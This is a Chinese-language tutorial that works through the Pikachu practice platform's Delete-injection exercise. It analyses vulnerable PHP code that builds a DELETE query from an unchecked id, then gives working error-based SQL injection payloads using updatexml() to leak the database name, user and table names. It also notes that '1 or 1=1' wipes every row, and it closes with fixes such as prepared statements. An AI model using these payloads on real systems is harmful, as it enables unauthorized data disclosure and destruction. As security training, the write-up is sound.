深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战
在Web安全渗透测试中,SQL注入始终是最常见且危害极大的漏洞类型之一。今天我们以Pikachu漏洞练习平台的Delete注入题目为例,深入剖析漏洞成因,并通过实战演示如何利用报错注入获取数据库敏感信息。
一、漏洞背景与环境说明
Pikachu是一款广受安全学习者欢迎的漏洞练习平台,其中的“Delete注入”题目模拟了实际开发中因不当处理用户输入而导致的SQL注入风险。该场景通常出现在数据删除功能中,攻击者可通过构造特殊请求,篡改SQL语句实现未授权操作或信息泄露。
本次分析的核心场景是一个消息删除功能——用户点击删除按钮时,前端会向服务器传递消息ID,服务器根据该ID执行删除操作。看似简单的功能,却因代码缺陷埋下了安全隐患。
二、漏洞源代码深度分析
我们先来看存在漏洞的核心代码:
// 原始代码(存在漏洞)
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
漏洞关键成因:
- 输入未做任何过滤
代码直接使用$_GET['id']
拼接SQL语句,未进行类型验证(如is_numeric()
判断)或转义处理。这意味着用户传入的id
参数可直接控制SQL语句结构。 - SQL语句拼接方式不安全
delete语句采用字符串拼接:"delete from message where id={$_GET['id']}"
。由于id
参数未加引号包裹(直接作为数值拼接),攻击者可轻松注入恶意SQL代码改变语句逻辑。 - 对比安全版本的差异
注释中提到的安全写法if(array_key_exists('id', $_GET) && is_numeric($_GET['id']))
明确要求id
必须为数字,而漏洞代码删除了这一验证,直接导致注入风险。
三、漏洞利用原理:从删除操作到信息泄露
Delete注入的特殊性在于:它本身是删除数据的操作,但通过构造注入语句,我们可将其转化为信息查询工具。核心思路是利用SQL语句的逻辑拼接,在执行删除操作的同时执行查询语句,并通过报错信息获取结果。
以本题为例,正常的删除SQL为:
delete from message where id=1
当我们传入恶意id
参数时,SQL语句会被篡改。例如传入1 or 1=1
,语句变为:
delete from message where id=1 or 1=1 -- 删除所有消息(危险!)
但在实际测试中,我们更关注如何在不破坏数据的前提下获取信息,报错注入正是最佳选择。
四、实战:基于报错注入的数据库信息获取
1. 报错注入原理
报错注入利用了MySQL的函数特性:当某些函数(如updatexml()
、extractvalue()
)的参数不符合语法规范时,会抛出错误并显示参数内容。通过在参数中嵌入查询语句,即可将查询结果通过报错信息泄露。
核心函数updatexml()
的语法:
updatexml(XML_document, XPath_string, new_value)
当XPath_string
包含非XML规范字符(如~
)时,MySQL会报错并显示该字符串,这就是我们泄露信息的关键。
2. 构造Delete注入的报错Payload
针对本题的漏洞代码,有效的报错注入Payload为:
Payload解析:
1
:作为初始id
值,确保语句前半部分语法正确or
:逻辑运算符,用于拼接后续恶意代码(只要前后有一个为真,整个条件就为真)updatexml(1,concat(0x7e,database()),0)
:核心注入代码concat(0x7e,database())
:将波浪号(0x7e
是~
的十六进制编码)与数据库名拼接updatexml
因~
不符合XML规范而报错,同时显示拼接后的内容(如~pikachu
)
3. 执行注入与结果分析
将Payload作为id
参数传入URL:
http://[目标地址]/sqli_del.php?id=1 or updatexml(1,concat(0x7e,database()),0)
在浏览器上访问就行了,抓包分析的话需要url转码
执行后,页面会返回类似以下的错误信息:
XPATH syntax error: '~pikachu'
其中pikachu
就是当前数据库的名称,证明注入成功。
4. 扩展:获取更多敏感信息
通过修改Payload中的查询语句,可进一步获取表名、列名等信息:
- 获取当前用户:
1 or updatexml(1,concat(0x7e,user()),0)
获取消息表的表名(假设已知库名
pikachu
):1 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
获取表中列名(假设已知表名
message
):
五、漏洞修复建议
Delete注入的本质是用户输入未被安全处理就拼接进SQL语句,修复需从根本上避免这种风险:
严格验证输入类型
恢复代码中对id
的数值验证,确保仅接受数字:if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){...}
使用参数化查询
采用预处理语句分离SQL结构与用户输入,彻底杜绝注入:$stmt = mysqli_prepare($link, "delete from message where id=?"); mysqli_stmt_bind_param($stmt, 'i', $_GET['id']); // 'i'表示参数为整数 mysqli_stmt_execute($stmt);
- 最小权限原则
数据库账号仅授予必要权限(如删除操作所需权限),限制注入后的破坏范围。
六、总结
Pikachu的Delete注入题目生动展示了“信任用户输入”带来的风险。通过本次实战,我们不仅掌握了报错注入的原理与Payload构造方法,更深刻理解了“参数化查询”对于防御SQL注入的重要性。在实际开发中,任何与数据库交互的功能都应严格过滤用户输入,这是保障Web安全的基础防线。